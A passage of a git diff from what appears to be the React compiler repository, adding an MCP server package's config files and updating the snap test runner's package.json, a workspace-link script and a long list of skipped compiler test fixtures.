+ * Trigger an exhaustiveness check in TypeScript and throw at runtime.
+ */
+export default function assertExhaustive(_: never, errorMsg: string): never {
+  throw new Error(errorMsg);
+}
diff --git a/compiler/packages/react-mcp-server/todo.md b/compiler/packages/react-mcp-server/todo.md
new file mode 100644
index 000000000000..a7f0af9adbee
--- /dev/null
+++ b/compiler/packages/react-mcp-server/todo.md
@@ -0,0 +1,5 @@
+TODO
+
+- [ ] If code doesnt compile, read diagnostics and try again
+- [ ] Provide detailed examples in assistant prompt (use another LLM to generate good prompts, iterate from there)
+- [ ] Provide more tools for working with HIR/AST (eg so we can prompt it to try and optimize code via HIR, which it can then translate back into user code changes)
diff --git a/compiler/packages/react-mcp-server/tsconfig.json b/compiler/packages/react-mcp-server/tsconfig.json
new file mode 100644
index 000000000000..0de3a4a61511
--- /dev/null
+++ b/compiler/packages/react-mcp-server/tsconfig.json
@@ -0,0 +1,22 @@
+{
+  "extends": "@tsconfig/strictest/tsconfig.json",
+  "compilerOptions": {
+    "module": "Node16",
+    "moduleResolution": "Node16",
+    "rootDir": "../",
+    "noEmit": true,
+    "jsx": "react-jsxdev",
+    "lib": ["ES2022"],
+
+    // weaken strictness from preset
+    "importsNotUsedAsValues": "remove",
+    "noUncheckedIndexedAccess": false,
+    "noUnusedParameters": false,
+    "useUnknownInCatchVariables": false,
+    "target": "ES2022",
+    // ideally turn off only during dev, or on a per-file basis
+    "noUnusedLocals": false,
+  },
+  "exclude": ["node_modules"],
+  "include": ["src/**/*.ts"],
+}
diff --git a/compiler/packages/react-mcp-server/tsup.config.ts b/compiler/packages/react-mcp-server/tsup.config.ts
new file mode 100644
index 000000000000..820410e20f65
--- /dev/null
+++ b/compiler/packages/react-mcp-server/tsup.config.ts
@@ -0,0 +1,37 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {defineConfig} from 'tsup';
+
+export default defineConfig({
+  entry: ['./src/index.ts'],
+  outDir: './dist',
+  external: [],
+  splitting: false,
+  sourcemap: false,
+  dts: false,
+  bundle: true,
+  format: 'cjs',
+  platform: 'node',
+  target: 'es2022',
+  banner: {
+    js: `#!/usr/bin/env node
+
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @lightSyntaxTransform
+ * @noflow
+ * @nolint
+ * @preventMunge
+ * @preserve-invariant-messages
+ */`,
+  },
+});
diff --git a/compiler/packages/snap/package.json b/compiler/packages/snap/package.json
index 60ccff029cb2..92a170b365d5 100644
--- a/compiler/packages/snap/package.json
+++ b/compiler/packages/snap/package.json
@@ -9,37 +9,42 @@
     "src"
   ],
   "scripts": {
-    "build": "rimraf dist && tsc --build",
+    "postinstall": "./scripts/link-react-compiler-runtime.sh && perl -p -i -e 's/react\\.element/react.transitional.element/' ../../node_modules/fbt/lib/FbtReactUtil.js && perl -p -i -e 's/didWarnAboutUsingAct = false;/didWarnAboutUsingAct = true;/' ../../node_modules/react-dom/cjs/react-dom-test-utils.development.js",
+    "build": "rimraf dist && concurrently -n snap,runtime \"tsc --build\" \"yarn --silent workspace react-compiler-runtime build\"",
+    "snap": "node dist/main.js",
     "test": "echo 'no tests'",
     "prettier": "prettier --write 'src/**/*.ts'"
   },
   "repository": {
     "type": "git",
-    "url": "git+https://github.com/facebook/react-forget.git"
+    "url": "git+https://github.com/facebook/react.git",
+    "directory": "compiler/packages/snap"
   },
   "dependencies": {
     "@babel/code-frame": "^7.22.5",
-    "@babel/generator": "7.2.0",
+    "@babel/generator": "^7.19.1",
     "@babel/plugin-syntax-jsx": "^7.18.6",
     "@babel/preset-flow": "^7.7.4",
-    "@babel/preset-typescript": "^7.18.6",
+    "@babel/preset-typescript": "^7.26.0",
     "@parcel/watcher": "^2.1.0",
     "@testing-library/react": "^13.4.0",
-    "babel-plugin-syntax-hermes-parser": "^0.15.1",
+    "babel-plugin-idx": "^3.0.3",
+    "babel-plugin-syntax-hermes-parser": "^0.25.1",
     "chalk": "4",
-    "fbt": "^1.0.0",
+    "fbt": "^1.0.2",
     "glob": "^10.3.10",
-    "hermes-parser": "^0.19.1",
+    "hermes-parser": "^0.25.1",
     "jsdom": "^22.1.0",
-    "react": "19.0.0-beta-b498834eab-20240506",
-    "react-dom": "19.0.0-beta-b498834eab-20240506",
+    "react": "0.0.0-experimental-4beb1fd8-20241118",
+    "react-dom": "0.0.0-experimental-4beb1fd8-20241118",
     "readline": "^1.3.0",
-    "yargs": "^17.7.1"
+    "yargs": "^17.7.1",
+    "zod": "^3.25.0 || ^4.0.0",
+    "zod-validation-error": "^3.5.0 || ^4.0.0"
   },
   "devDependencies": {
     "@babel/core": "^7.19.1",
-    "@babel/parser": "^7.19.1",
-    "@babel/plugin-syntax-typescript": "^7.18.6",
+    "@babel/parser": "^7.20.15",
     "@babel/plugin-transform-modules-commonjs": "^7.18.6",
     "@babel/preset-react": "^7.18.6",
     "@babel/traverse": "^7.19.1",
@@ -49,13 +54,12 @@
     "@types/node": "^18.7.18",
     "@typescript-eslint/eslint-plugin": "^7.4.0",
     "@typescript-eslint/parser": "^7.4.0",
-    "rimraf": "^3.0.2"
+    "object-assign": "^4.1.1"
   },
   "resolutions": {
     "./**/@babel/parser": "7.7.4",
     "./**/@babel/types": "7.7.4",
-    "@babel/core": "7.2.0",
-    "@babel/traverse": "7.1.6",
+    "@babel/generator": "7.2.0",
     "@babel/preset-flow": "7.22.5"
   }
 }
diff --git a/compiler/packages/snap/scripts/link-react-compiler-runtime.sh b/compiler/packages/snap/scripts/link-react-compiler-runtime.sh
new file mode 100755
index 000000000000..83a30d41d7c8
--- /dev/null
+++ b/compiler/packages/snap/scripts/link-react-compiler-runtime.sh
@@ -0,0 +1,10 @@
+#!/usr/bin/env bash
+# Copyright (c) Meta Platforms, Inc. and affiliates.
+#
+# This source code is licensed under the MIT license found in the
+# LICENSE file in the root directory of this source tree.
+
+set -eo pipefail
+
+yarn --silent workspace react-compiler-runtime link
+yarn --silent workspace snap link react-compiler-runtime
diff --git a/compiler/packages/snap/src/SproutTodoFilter.ts b/compiler/packages/snap/src/SproutTodoFilter.ts
index b36e8064a787..531c3cf27f63 100644
--- a/compiler/packages/snap/src/SproutTodoFilter.ts
+++ b/compiler/packages/snap/src/SproutTodoFilter.ts
@@ -9,497 +9,491 @@ const skipFilter = new Set([
   /**
    * Observable different in logging between Forget and non-Forget
    */
-  "early-return-no-declarations-reassignments-dependencies",
+  'early-return-no-declarations-reassignments-dependencies',
 
   /**
    * Category A:
    * Tests with 0 parameters and 0 refs to external values
    */
   // TODO: fix invalid .set call
-  "assignment-variations-complex-lvalue-array",
+  'assignment-variations-complex-lvalue-array',
   // TODO: uses jsx (requires React)
-  "sketchy-code-rules-of-hooks",
+  'sketchy-code-rules-of-hooks',
   // TODO: fix infinite loop
-  "ssa-for-trivial-update",
+  'ssa-for-trivial-update',
   // TODO: fix infinite loop
-  "ssa-while-no-reassign",
+  'ssa-while-no-reassign',
 
   /**
    * Category B:
    * Tests with at least one param and 0 refs to external values
    */
-  "bug.useMemo-deps-array-not-cleared",
-  "capture_mutate-across-fns",
-  "capture-indirect-mutate-alias",
-  "capturing-arrow-function-1",
-  "capturing-func-mutate-3",
-  "capturing-func-mutate-nested",
-  "capturing-func-mutate",
-  "capturing-function-1",
-  "capturing-function-alias-computed-load",
-  "capturing-function-decl",
-  "capturing-function-skip-computed-path",
-  "capturing-function-within-block",
-  "capturing-member-expr",
-  "capturing-nested-member-call",
-  "capturing-nested-member-expr-in-nested-func",
-  "capturing-nested-member-expr",
-  "capturing-variable-in-nested-block",
-  "capturing-variable-in-nested-function",
-  "complex-while",
-  "component",
-  "cond-deps-conditional-member-expr",
-  "conditional-break-labeled",
-  "conditional-set-state-in-render",
-  "constant-computed",
-  "constant-propagation-phi",
-  "debugger-memoized",
-  "debugger",
-  "declare-reassign-variable-in-closure",
-  "delete-computed-property",
-  "delete-property",
-  "dependencies-outputs",
-  "dependencies",
-  "destructure-direct-reassignment",
-  "destructuring-array-default",
-  "destructuring-array-param-default",
-  "destructuring-assignment-array-default",
-  "destructuring-assignment",
-  "destructuring-object-default",
-  "destructuring-object-param-default",
-  "destructuring",
-  "disable-jsx-memoization",
-  "do-while-break",
-  "do-while-compound-test",
-  "dominator",
-  "early-return",
-  "escape-analysis-destructured-rest-element",
-  "escape-analysis-jsx-child",
-  "escape-analysis-logical",
-  "escape-analysis-non-escaping-interleaved-allocating-dependency",
-  "escape-analysis-non-escaping-interleaved-allocating-nested-dependency",
-  "escape-analysis-non-escaping-interleaved-primitive-dependency",
-  "escape-analysis-not-conditional-test",
-  "escape-analysis-not-if-test",
-  "escape-analysis-not-switch-case",
-  "escape-analysis-not-switch-test",
-  "expression-with-assignment-dynamic",
-  "extend-scopes-if",
-  "fbt/fbt-params",
-  "for-empty-update-with-continue",
-  "for-empty-update",
-  "for-logical",
-  "for-return",
-  "function-declaration-simple",
-  "function-param-assignment-pattern",
-  "globals-Boolean",
-  "globals-Number",
-  "globals-String",
-  "holey-array-pattern-dce-2",
-  "holey-array-pattern-dce",
-  "holey-array",
-  "independently-memoize-object-property",
-  "inverted-if-else",
-  "inverted-if",
-  "jsx-empty-expression",
-  "jsx-fragment",
-  "jsx-namespaced-name",
-  "lambda-mutated-non-reactive-to-reactive",
-  "lambda-mutated-ref-non-reactive",
-  "logical-expression-object",
-  "logical-expression",
-  "nested-function-shadowed-identifiers",
-  "nonoptional-load-from-optional-memberexpr",
-  "object-computed-access-assignment",
-  "object-expression-string-literal-key",
-  "object-literal-spread-element",
-  "object-pattern-params",
-  "optional-member-expression-chain",
-  "overlapping-scopes-interleaved-by-terminal",
-  "overlapping-scopes-interleaved",
-  "overlapping-scopes-shadowed",
-  "overlapping-scopes-shadowing-within-block",
-  "overlapping-scopes-while",
-  "overlapping-scopes-within-block",
-  "prop-capturing-function-1",
-  "reactive-scopes-if",
-  "reactive-scopes",
-  "reactivity-analysis-interleaved-reactivity",
-  "reassign-object-in-context",
-  "reassignment-separate-scopes",
-  "return-conditional",
-  "return-undefined",
-  "reverse-postorder",
-  "same-variable-as-dep-and-redeclare-maybe-frozen",
-  "same-variable-as-dep-and-redeclare",
-  "simple-scope",
-  "ssa-arrayexpression",
-  "ssa-cascading-eliminated-phis",
-  "ssa-for-of",
-  "ssa-multiple-phis",
-  "ssa-nested-loops-no-reassign",
-  "ssa-nested-partial-phi",
-  "ssa-nested-partial-reassignment",
-  "ssa-non-empty-initializer",
-  "ssa-objectexpression",
-  "ssa-property-alias-if",
-  "ssa-reassign",
-  "ssa-renaming-ternary-destruction",
-  "ssa-renaming-ternary",
-  "ssa-renaming-unconditional-ternary",
-  "ssa-renaming-via-destructuring",
-  "ssa-renaming",
-  "ssa-sibling-phis",
-  "switch-with-fallthrough",
-  "ternary-assignment-expression",
-  "ternary-expression",
-  "trivial",
-  "type-args-test-binary-operator",
-  "type-cast-expression.flow",
-  "unary-expr",
-  "unconditional-break-label",
-  "unused-array-middle-element",
-  "unused-array-rest-element",
-  "unused-conditional",
-  "unused-logical",
-  "unused-object-element-with-rest",
-  "unused-object-element",
-  "useMemo-inlining-block-return",
-  "useMemo-inverted-if",
-  "useMemo-labeled-statement-unconditional-return",
-  "useMemo-logical",
-  "useMemo-nested-ifs",
-  "useMemo-switch-no-fallthrough",
-  "useMemo-switch-return",
-  "while-break",
-  "while-conditional-continue",
-  "while-logical",
-  "while-property",
-  "validate-no-set-state-in-render-uncalled-function-with-mutable-range-is-valid",
+  'bug.useMemo-deps-array-not-cleared',
+  'capture_mutate-across-fns',
+  'capture-indirect-mutate-alias',
+  'capturing-arrow-function-1',
+  'capturing-func-mutate-3',
+  'capturing-func-mutate-nested',
+  'capturing-function-1',
+  'capturing-function-alias-computed-load',
+  'capturing-function-decl',
+  'capturing-function-skip-computed-path',
+  'capturing-function-within-block',
+  'capturing-member-expr',
+  'capturing-nested-member-call',
+  'capturing-nested-member-expr-in-nested-func',
+  'capturing-nested-member-expr',
+  'capturing-variable-in-nested-block',
+  'capturing-variable-in-nested-function',
+  'complex-while',
+  'component',
+  'cond-deps-conditional-member-expr',
+  'conditional-break-labeled',
+  'propagate-scope-deps-hir-fork/conditional-break-labeled',
+  'conditional-set-state-in-render',
+  'constant-computed',
+  'constant-propagation-phi',
+  'debugger-memoized',
+  'debugger',
+  'declare-reassign-variable-in-closure',
+  'delete-computed-property',
+  'delete-property',
+  'dependencies-outputs',
+  'dependencies',
+  'destructure-direct-reassignment',
+  'destructuring-array-default',
+  'destructuring-array-param-default',
+  'destructuring-assignment-array-default',
+  'destructuring-assignment',
+  'destructuring-object-default',
+  'destructuring-object-param-default',
+  'destructuring',
+  'disable-jsx-memoization',
+  'do-while-break',
+  'do-while-compound-test',
+  'dominator',
+  'early-return',
+  'escape-analysis-destructured-rest-element',
+  'escape-analysis-jsx-child',
+  'escape-analysis-logical',
+  'escape-analysis-non-escaping-interleaved-allocating-dependency',
+  'escape-analysis-non-escaping-interleaved-allocating-nested-dependency',
+  'escape-analysis-non-escaping-interleaved-primitive-dependency',
+  'escape-analysis-not-conditional-test',
+  'escape-analysis-not-if-test',
+  'escape-analysis-not-switch-case',
+  'escape-analysis-not-switch-test',
+  'expression-with-assignment-dynamic',
+  'extend-scopes-if',
+  'fbt/fbt-params',
+  'for-empty-update-with-continue',
+  'for-empty-update',
+  'for-logical',
+  'for-return',
+  'function-declaration-simple',
+  'function-param-assignment-pattern',
+  'globals-Boolean',
+  'globals-Number',
+  'globals-String',
+  'holey-array-pattern-dce-2',
+  'holey-array-pattern-dce',
+  'holey-array',
+  'independently-memoize-object-property',
+  'inverted-if-else',
+  'inverted-if',
+  'jsx-empty-expression',
+  'jsx-fragment',
+  'jsx-namespaced-name',
+  'lambda-mutated-non-reactive-to-reactive',
+  'lambda-mutated-ref-non-reactive',
+  'logical-expression-object',
+  'logical-expression',
+  'nested-function-shadowed-identifiers',
+  'nonoptional-load-from-optional-memberexpr',
+  'object-computed-access-assignment',
+  'object-expression-string-literal-key',
+  'object-literal-spread-element',
+  'object-pattern-params',
+  'optional-member-expression-chain',
+  'overlapping-scopes-interleaved-by-terminal',
+  'overlapping-scopes-interleaved',
+  'overlapping-scopes-shadowed',
+  'overlapping-scopes-shadowing-within-block',
+  'overlapping-scopes-while',
+  'overlapping-scopes-within-block',
+  'prop-capturing-function-1',
+  'reactive-scopes-if',
+  'reactive-scopes',
+  'reactivity-analysis-interleaved-reactivity',
+  'reassign-object-in-context',
+  'reassignment-separate-scopes',
+  'return-conditional',
+  'return-undefined',
+  'reverse-postorder',
+  'same-variable-as-dep-and-redeclare-maybe-frozen',
+  'same-variable-as-dep-and-redeclare',
+  'simple-scope',
+  'ssa-arrayexpression',
+  'ssa-for-of',
+  'ssa-multiple-phis',
+  'ssa-nested-loops-no-reassign',
+  'ssa-nested-partial-phi',
+  'ssa-nested-partial-reassignment',
+  'ssa-non-empty-initializer',
+  'ssa-objectexpression',
+  'ssa-property-alias-if',
+  'ssa-reassign',
+  'ssa-renaming-via-destructuring',
+  'ssa-renaming',
+  'ssa-sibling-phis',
+  'switch-with-fallthrough',
+  'ternary-assignment-expression',
+  'ternary-expression',
+  'trivial',
+  'type-args-test-binary-operator',
+  'type-cast-expression.flow',
+  'unary-expr',
+  'unconditional-break-label',
+  'unused-array-middle-element',
+  'unused-array-rest-element',
+  'unused-conditional',
+  'unused-logical',
+  'unused-object-element-with-rest',
+  'unused-object-element',
+  'useMemo-inlining-block-return',
+  'useMemo-inverted-if',
+  'useMemo-labeled-statement-unconditional-return',
+  'useMemo-logical',
+  'useMemo-nested-ifs',
+  'useMemo-switch-no-fallthrough',
+  'useMemo-switch-return',
+  'while-break',
+  'while-conditional-continue',
+  'while-logical',
+  'while-property',
+  'validate-no-set-state-in-render-uncalled-function-with-mutable-range-is-valid',
   // Category B with multiple entrypoints,
-  "conditional-break",
+  'conditional-break',
 
   /**
    * Category C:
    * Tests with at 0 params and at least one ref to external values
    */
-  "alias-capture-in-method-receiver",
-  "alias-nested-member-path-mutate",
-  "concise-arrow-expr",
-  "const-propagation-into-function-expression-global",
-  "declare-reassign-variable-in-function-declaration",
-  "lambda-mutate-shadowed-object",
-  "fbt/lambda-with-fbt",
-  "recursive-function-expr",
-  "ref-current-aliased-no-added-to-dep",
-  "ref-current-field-not-added-to-dep",
-  "ref-current-not-added-to-dep",
-  "ref-current-optional-field-no-added-to-dep",
-  "ref-current-write-not-added-to-dep",
-  "rewrite-phis-in-lambda-capture-context",
-  "sketchy-code-exhaustive-deps",
-  "ssa-property-alias-mutate",
-  "ssa-property-mutate-2",
-  "ssa-property-mutate-alias",
-  "ssa-property-mutate",
-  "ssa-reassign-in-rval",
-  "store-via-call",
-  "store-via-new",
-  "tagged-template-literal",
-  "transitive-alias-fields",
-  "type-binary-operator",
-  "type-test-field-load-binary-op",
-  "type-test-polymorphic",
-  "type-test-return-type-inference",
-  "use-callback-simple",
+  'alias-capture-in-method-receiver',
+  'alias-nested-member-path-mutate',
+  'concise-arrow-expr',
+  'const-propagation-into-function-expression-global',
+  'lambda-mutate-shadowed-object',
+  'fbt/lambda-with-fbt',
+  'recursive-function-expr',
+  'ref-current-aliased-no-added-to-dep',
+  'ref-current-field-not-added-to-dep',
+  'ref-current-not-added-to-dep',
+  'ref-current-optional-field-no-added-to-dep',
+  'ref-current-write-not-added-to-dep',
+  'rewrite-phis-in-lambda-capture-context',
+  'sketchy-code-exhaustive-deps',
+  'ssa-property-alias-mutate',
+  'ssa-property-mutate-2',
+  'ssa-property-mutate-alias',
+  'ssa-property-mutate',
+  'ssa-reassign-in-rval',
+  'store-via-call',
+  'store-via-new',
+  'tagged-template-literal',
+  'transitive-alias-fields',
+  'type-binary-operator',
+  'type-test-field-load-binary-op',
+  'type-test-polymorphic',
+  'type-test-return-type-inference',
+  'use-callback-simple',
   // defines two functions
-  "simple-alias",
+  'simple-alias',
 
   /**
    * Category D:
    * Tests with one or more params, with external references.
    */
-  "alias-computed-load",
-  "allocating-primitive-as-dep",
-  "allow-passing-refs-as-props",
-  "array-at-closure",
-  "array-at-effect",
-  "array-at-mutate-after-capture",
-  "array-join",
-  "array-push-effect",
-  "arrow-function-expr-gating-test",
-  "assignment-in-nested-if",
-  "await-side-effecting-promise",
-  "await",
-  "builtin-jsx-tag-lowered-between-mutations",
-  "call-args-assignment",
-  "call-args-destructuring-assignment",
-  "call-spread",
-  "call-with-independently-memoizable-arg",
-  "capture-param-mutate",
-  "capturing-fun-alias-captured-mutate-2",
-  "capturing-fun-alias-captured-mutate-arr-2",
-  "capturing-func-alias-captured-mutate-arr",
-  "capturing-func-alias-captured-mutate",
-  "capturing-func-alias-computed-mutate",
-  "capturing-func-alias-mutate",
-  "capturing-func-alias-receiver-computed-mutate",
-  "capturing-func-alias-receiver-mutate",
-  "capturing-func-simple-alias",
-  "capturing-function-capture-ref-before-rename",
-  "capturing-function-conditional-capture-mutate",
-  "capturing-function-member-expr-arguments",
-  "capturing-function-member-expr-call",
-  "capturing-function-renamed-ref",
-  "capturing-function-runs-inference",
-  "capturing-function-shadow-captured",
-  "capturing-reference-changes-type",
-  "codegen-emit-imports-same-source",
-  "codegen-emit-make-read-only",
-  "computed-call-spread",
-  "computed-load-primitive-as-dependency",
-  "computed-store-alias",
-  "constant-propagation-into-function-expressions",
-  "destructuring-mixed-scope-declarations-and-locals",
-  "destructuring-property-inference",
-  "do-while-conditional-break",
-  "do-while-early-unconditional-break",
-  "fbt/fbt-params-complex-param-value",
-  "function-expression-captures-value-later-frozen-jsx",
-  "function-expression-maybe-mutates-hook-return-value",
-  "function-expression-with-store-to-parameter",
-  "global-jsx-tag-lowered-between-mutations",
-  "hook-inside-logical-expression",
-  "immutable-hooks",
-  "inadvertent-mutability-readonly-class",
-  "inadvertent-mutability-readonly-lambda",
-  "infer-computed-delete",
-  "infer-property-delete",
-  "inner-memo-value-not-promoted-to-outer-scope-dynamic",
-  "inner-memo-value-not-promoted-to-outer-scope-static",
-  "issue852",
-  "jsx-member-expression-tag-grouping",
-  "jsx-member-expression",
-  "jsx-spread",
-  "lambda-capture-returned-alias",
-  "method-call-computed",
-  "method-call-fn-call",
-  "nested-optional-member-expr",
-  "nested-scopes-hook-call",
-  "new-spread",
-  "obj-literal-cached-in-if-else",
-  "obj-literal-mutated-after-if-else",
-  "obj-mutated-after-if-else-with-alias",
-  "obj-mutated-after-if-else",
-  "obj-mutated-after-nested-if-else-with-alias",
-  "object-properties",
-  "optional-call-chained",
-  "optional-call-logical",
-  "optional-call-simple",
-  "optional-call-with-independently-memoizable-arg",
-  "optional-call-with-optional-property-load",
-  "optional-call",
-  "optional-computed-load-static",
-  "optional-computed-member-expression",
-  "optional-member-expression-call-as-property",
-  "optional-member-expression-with-optional-member-expr-as-property",
-  "optional-member-expression",
-  "optional-method-call",
-  "optional-receiver-method-call",
-  "optional-receiver-optional-method",
-  "primitive-alias-mutate",
-  "primitive-as-dep",
-  "property-assignment",
-  "property-call-spread",
-  "reactive-dependencies-non-optional-properties-inside-optional-chain",
-  "reactivity-analysis-reactive-via-mutation-of-computed-load",
-  "reactivity-analysis-reactive-via-mutation-of-property-load",
-  "reassigned-phi-in-returned-function-expression",
-  "reassignment-conditional",
-  "reassignment",
-  "ref-current-aliased-not-added-to-dep-2",
-  "ref-current-not-added-to-dep-2",
-  "ref-in-effect",
-  "regexp-literal",
-  "remove-memoization-kitchen-sink",
-  "repro-reassign-to-variable-without-mutable-range",
-  "repro-scope-missing-mutable-range",
-  "repro",
-  "simple",
-  "ssa-leave-case",
-  "ssa-property-alias-alias-mutate-if",
-  "ssa-property-alias-mutate-if",
-  "ssa-property-alias-mutate-inside-if",
-  "ssa-renaming-ternary-destruction-with-mutation",
-  "ssa-renaming-ternary-with-mutation",
-  "ssa-renaming-unconditional-with-mutation",
-  "ssa-renaming-via-destructuring-with-mutation",
-  "ssa-renaming-with-mutation",
-  "switch-global-propertyload-case-test",
-  "switch-non-final-default",
-  "switch",
-  "tagged-template-in-hook",
-  "temporary-accessed-outside-scope",
-  "temporary-at-start-of-value-block",
-  "temporary-property-load-accessed-outside-scope",
-  "timers",
-  "todo-function-expression-captures-value-later-frozen",
-  "uninitialized-declaration-in-reactive-scope",
-  "unknown-hooks-do-not-assert",
-  "unused-logical-assigned-to-variable",
-  "unused-optional-method-assigned-to-variable",
-  "unused-ternary-assigned-to-variable",
-  "useEffect-arg-memoized",
-  "useEffect-nested-lambdas",
-  "useMemo-if-else-multiple-return",
-  "useMemo-independently-memoizeable",
-  "useMemo-named-function",
-  "useMemo-return-empty",
-  "useMemo-simple",
-  "use-no-forget-module-level",
-  "use-no-memo-module-level",
+  'alias-computed-load',
+  'allocating-primitive-as-dep',
+  'allow-passing-refs-as-props',
+  'array-at-closure',
+  'array-at-effect',
+  'array-at-mutate-after-capture',
+  'array-join',
+  'array-push-effect',
+  'assignment-in-nested-if',
+  'await-side-effecting-promise',
+  'await',
+  'builtin-jsx-tag-lowered-between-mutations',
+  'call-args-assignment',
+  'call-args-destructuring-assignment',
+  'call-with-independently-memoizable-arg',
+  'capture-param-mutate',
+  'capturing-function-conditional-capture-mutate',
+  'capturing-function-member-expr-arguments',
+  'capturing-function-member-expr-call',
+  'codegen-emit-imports-same-source',
+  'codegen-emit-make-read-only',
+  'computed-call-spread',
+  'computed-load-primitive-as-dependency',
+  'destructuring-mixed-scope-declarations-and-locals',
+  'destructuring-property-inference',
+  'do-while-conditional-break',
+  'do-while-early-unconditional-break',
+  'fbt/fbt-params-complex-param-value',
+  'function-expression-captures-value-later-frozen-jsx',
+  'function-expression-maybe-mutates-hook-return-value',
+  'function-expression-with-store-to-parameter',
+  'global-jsx-tag-lowered-between-mutations',
+  'hook-inside-logical-expression',
+  'immutable-hooks',
+  'inadvertent-mutability-readonly-class',
+  'inadvertent-mutability-readonly-lambda',
+  'infer-computed-delete',
+  'infer-property-delete',
+  'inner-memo-value-not-promoted-to-outer-scope-dynamic',
+  'inner-memo-value-not-promoted-to-outer-scope-static',
+  'issue852',
+  'jsx-member-expression-tag-grouping',
+  'jsx-member-expression',
+  'jsx-spread',
+  'lambda-capture-returned-alias',
+  'method-call-computed',
+  'method-call-fn-call',
+  'nested-optional-member-expr',
+  'nested-scopes-hook-call',
+  'new-spread',
+  'obj-literal-cached-in-if-else',
+  'obj-literal-mutated-after-if-else',
+  'obj-mutated-after-if-else-with-alias',
+  'obj-mutated-after-if-else',
+  'obj-mutated-after-nested-if-else-with-alias',
+  'object-properties',
+  'optional-call-chained',
+  'optional-call-logical',
+  'optional-call-simple',
+  'optional-call-with-independently-memoizable-arg',
+  'optional-call-with-optional-property-load',
+  'optional-call',
+  'optional-computed-load-static',
+  'optional-computed-member-expression',
+  'optional-member-expression-call-as-property',
+  'optional-member-expression-with-optional-member-expr-as-property',
+  'optional-member-expression',
+  'optional-method-call',
+  'optional-receiver-method-call',
+  'optional-receiver-optional-method',
+  'primitive-alias-mutate',
+  'primitive-as-dep',
+  'property-assignment',
+  'property-call-spread',
+  'reactive-dependencies-non-optional-properties-inside-optional-chain',
+  'reactivity-analysis-reactive-via-mutation-of-computed-load',
+  'reactivity-analysis-reactive-via-mutation-of-property-load',
+  'reassigned-phi-in-returned-function-expression',
+  'reassignment-conditional',
+  'reassignment',
+  'ref-current-aliased-not-added-to-dep-2',
+  'ref-current-not-added-to-dep-2',
+  'ref-in-effect',
+  'regexp-literal',
+  'remove-memoization-kitchen-sink',
+  'repro-reassign-to-variable-without-mutable-range',
+  'repro-scope-missing-mutable-range',
+  'repro',
+  'simple',
+  'ssa-property-alias-alias-mutate-if',
+  'ssa-property-alias-mutate-if',
+  'ssa-property-alias-mutate-inside-if',
+  'switch-global-propertyload-case-test',
+  'switch-non-final-default',
+  'switch',
+  'tagged-template-in-hook',
+  'temporary-accessed-outside-scope',
+  'temporary-at-start-of-value-block',
+  'temporary-property-load-accessed-outside-scope',
+  'timers',
+  'todo-function-expression-captures-value-later-frozen',
+  'uninitialized-declaration-in-reactive-scope',
+  'unknown-hooks-do-not-assert',
+  'unused-logical-assigned-to-variable',
+  'unused-optional-method-assigned-to-variable',
+  'unused-ternary-assigned-to-variable',
+  'useEffect-arg-memoized',
+  'useEffect-nested-lambdas',
+  'useMemo-if-else-multiple-return',
+  'useMemo-independently-memoizeable',
+  'useMemo-named-function',
+  'useMemo-return-empty',
+  'useMemo-simple',
+  'use-no-forget-module-level',
+  'use-no-memo-module-level',
   // defines multiple functions
-  "alias-while",
-  "babel-existing-react-import",
-  "babel-existing-react-kitchensink-import",
-  "call",
-  "codegen-instrument-forget-gating-test",
-  "codegen-instrument-forget-test",
-  "conditional-on-mutable",
-  "constructor",
-  "frozen-after-alias",
-  "gating-test-export-default-function",
-  "gating-test-export-function-and-default",
-  "gating-test-export-function",
-  "gating-test",
-  "gating-with-hoisted-type-reference.flow",
-  "hook-call",
-  "hooks-freeze-arguments",
-  "hooks-freeze-possibly-mutable-arguments",
-  "independent-across-if",
-  "independent",
-  "interdependent-across-if",
-  "interdependent",
-  "multi-arrow-expr-export-gating-test",
-  "multi-arrow-expr-gating-test",
-  "mutable-liverange-loop",
-  "sequence-expression",
-  "ssa-call-jsx-2",
-  "ssa-call-jsx",
-  "ssa-newexpression",
-  "ssa-shadowing",
-  "template-literal",
-  "multi-arrow-expr-export-default-gating-test",
+  'alias-while',
+  'babel-existing-react-import',
+  'babel-existing-react-kitchensink-import',
+  'call',
+  'codegen-instrument-forget-test',
+  'conditional-on-mutable',
+  'constructor',
+  'frozen-after-alias',
+  'hook-call',
+  'hooks-freeze-arguments',
+  'hooks-freeze-possibly-mutable-arguments',
+  'independent-across-if',
+  'independent',
+  'interdependent-across-if',
+  'interdependent',
+  'mutable-liverange-loop',
+  'sequence-expression',
+  'ssa-call-jsx-2',
+  'ssa-call-jsx',
+  'ssa-newexpression',
+  'ssa-shadowing',
+  'template-literal',
+
+  // works, but appears differently when printing
+  // due to optional function argument
+  'nested-function-with-param-as-captured-dep',
+  'deeply-nested-function-expressions-with-params',
 
   // TODO: we should be able to support these
-  "component-declaration-basic.flow",
-  "hook-declaration-basic.flow",
-  "nested-function-with-param-as-captured-dep",
-  "deeply-nested-function-expressions-with-params",
-  "readonly-object-method-calls",
-  "readonly-object-method-calls-mutable-lambda",
+  'readonly-object-method-calls',
+  'readonly-object-method-calls-mutable-lambda',
+  'preserve-memo-validation/useMemo-with-refs.flow',
 
   // TODO: we probably want to always skip these
-  "rules-of-hooks/rules-of-hooks-0592bd574811",
-  "rules-of-hooks/rules-of-hooks-0e2214abc294",
-  "rules-of-hooks/rules-of-hooks-1ff6c3fbbc94",
-  "rules-of-hooks/rules-of-hooks-23dc7fffde57",
-  "rules-of-hooks/rules-of-hooks-2bec02ac982b",
-  "rules-of-hooks/rules-of-hooks-2e405c78cb80",
-  "rules-of-hooks/rules-of-hooks-33a6e23edac1",
-  "rules-of-hooks/rules-of-hooks-347b0dae66f1",
-  "rules-of-hooks/rules-of-hooks-485bf041f55f",
-  "rules-of-hooks/rules-of-hooks-4f6c78a14bf7",
-  "rules-of-hooks/rules-of-hooks-7e52f5eec669",
-  "rules-of-hooks/rules-of-hooks-844a496db20b",
-  "rules-of-hooks/rules-of-hooks-8f1c2c3f71c9",
-  "rules-of-hooks/rules-of-hooks-9a47e97b5d13",
-  "rules-of-hooks/rules-of-hooks-9d7879272ff6",
-  "rules-of-hooks/rules-of-hooks-c1e8c7f4c191",
-  "rules-of-hooks/rules-of-hooks-c5d1f3143c4c",
